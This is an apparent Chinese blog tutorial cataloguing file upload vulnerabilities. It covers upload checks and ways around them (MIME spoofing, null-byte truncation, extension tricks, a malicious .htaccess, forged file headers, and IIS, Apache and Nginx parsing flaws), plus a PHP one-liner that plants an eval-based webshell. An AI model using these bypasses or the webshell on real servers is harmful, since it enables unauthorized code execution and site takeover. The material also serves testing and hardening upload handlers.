上传漏洞总结

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛。

0x01 上传检测机制

0x01_1 客户端javascript检测

通常检测的是文件的扩展名

0x01_2 服务端MIME类型检测

通常检测的是Content-Type内容

0x01_3 服务端目录路径检测

通常跟path参数相关的内容

0x01_4 服务端文件扩展名检测

通常检测跟文件extension相关的内容

0x01_5 服务端文件内容检测

检测文件内容是否合法或含有恶意代码

0x02 文件上传漏洞利用

0x02_1 javascript客户端验证

创建一个允许的文件类型,里面写入我们需要的代码,抓包,拦截,修改为可执行的恶意代码。

0x02_2 MIME类型验证

直接修改Content-Type:允许的MIME类型

修改文件名为可执行文件,有时候需要配合修改multipart/form-data的大小写

常见的MIME类型:

超文本标记语言文本 .html text/html   
xml文档 .xml text/xml
普通文本 .txt text/plain   
RTF文本 .rtf application/rtf   
PDF文档 .pdf application/pdf   
Microsoft Word文件 .word application/msword   
PNG图像 .png image/png   
GIF图形 .gif image/gif   
JPEG图形 .jpeg,.jpg image/jpeg   
au声音文件 .au audio/basic   
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi   
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio   
MPEG文件 .mpg,.mpeg video/mpeg   
AVI文件 .avi video/x-msvideo   
GZIP文件 .gz application/x-gzip   
TAR文件 .tar application/x-tar   
任意的二进制数据 application/octet-stream

0x02_3 目录路利用

解析是从前往后解析,判断是从后往前判断。

零零截断一般步骤为:

1.新建一个名为test.php%00.jpg或者test.php.jpg

2.在里面写入一句话木马([如何在图片中插入一句话](http://wenku.baidu.com/link?url=GoR21a2WWH2C8c8Q7HIgrz7CoW3B4suAwDaaRkAt6vgCZyYr7Le7Z9ZeiurBIE7NHuNwJ7dro5lCql8mRlk3y2IS7iFbWuQM99HV_kXDvTm))

3.burp抓包改%00或者.为url编码

iis按照路径解析的是:

比如我们上传一个名为123.asp/123.jpg文件

则,123.asp/123.jpg会被直接解析成123.asp

0x02_4 文件扩展名利用

黑名单检测

  • 文件大小写绕过

    比如像Asp,Php之类的文件名绕过黑名单检测

  • 名单列表绕过

    利用黑名单里没有的名单进行攻击,比如黑名单里没有asa,cer,php3,php5之类的

  • 特殊文件名绕过

    修改文件名为test.asp.或者test.asp_(下划线为空格),绕过验证之后,windows会自动去掉点和空格,linux和unix下不支持

  • 0x00截断绕过

  • 双扩展名绕过

    apache解析式从后往前,所以如果上传一个test.php.123,不认识.123的文件,所以会往前解析,直到遇到能解析的

  • .htaccess文件攻击

    配合名单列表绕过,上传一个自定义的.htaccess文件,就可以轻松绕过各种检测

    新建一个.htaccess文件
    代码为:

    SetHandler application/x-httpd-php

    然后上传一个包含test字符串的文件,没有扩展名
    里面写入一句话即可

白名单检测

  • %00截断

  • 解析调用/漏洞绕过

    配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

  • .htaccess文件

    0x02_5 文件内容检测绕过

  • 文件头检测

    jpg-JFIF-FF D8 FF EO 00 10 4A 46 49 46
    gif-GIF89a-47 49 46 38 39 61
    png-PNG-89 50 4E 47
    在文件头后面加上恶意代码就行了
    
  • 文件相关信息检测
  • 文件加载检测

    在文件注释处插入恶意代码

0x02_6 解析漏洞利用

Apache的扩展名顺序解析漏洞

命名为test.php.xxx(集成环境里php3都会按照php来解析)

IIS的asp解析漏洞

  • IIS6.0

    1.命名为test.asp;.jpg
    2.命名为test.asp/123.jpg(test.asp是一个目录)
    3.命名为test.asa,test.cer.test.cdx
    
  • IIS7.5/7.0

    在默认Fast-CGI开启状况下,上传一个名字为test.jpg,内容为
    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    的文件,然后访问test.jpg/.php,在这个目录下就会生成一句话木马 shell.php
    

    Nginx的%00解析漏洞

    命名为test.jpg%00.php

    php-cgi的默认配置漏洞

大爷,赏个铜板呗!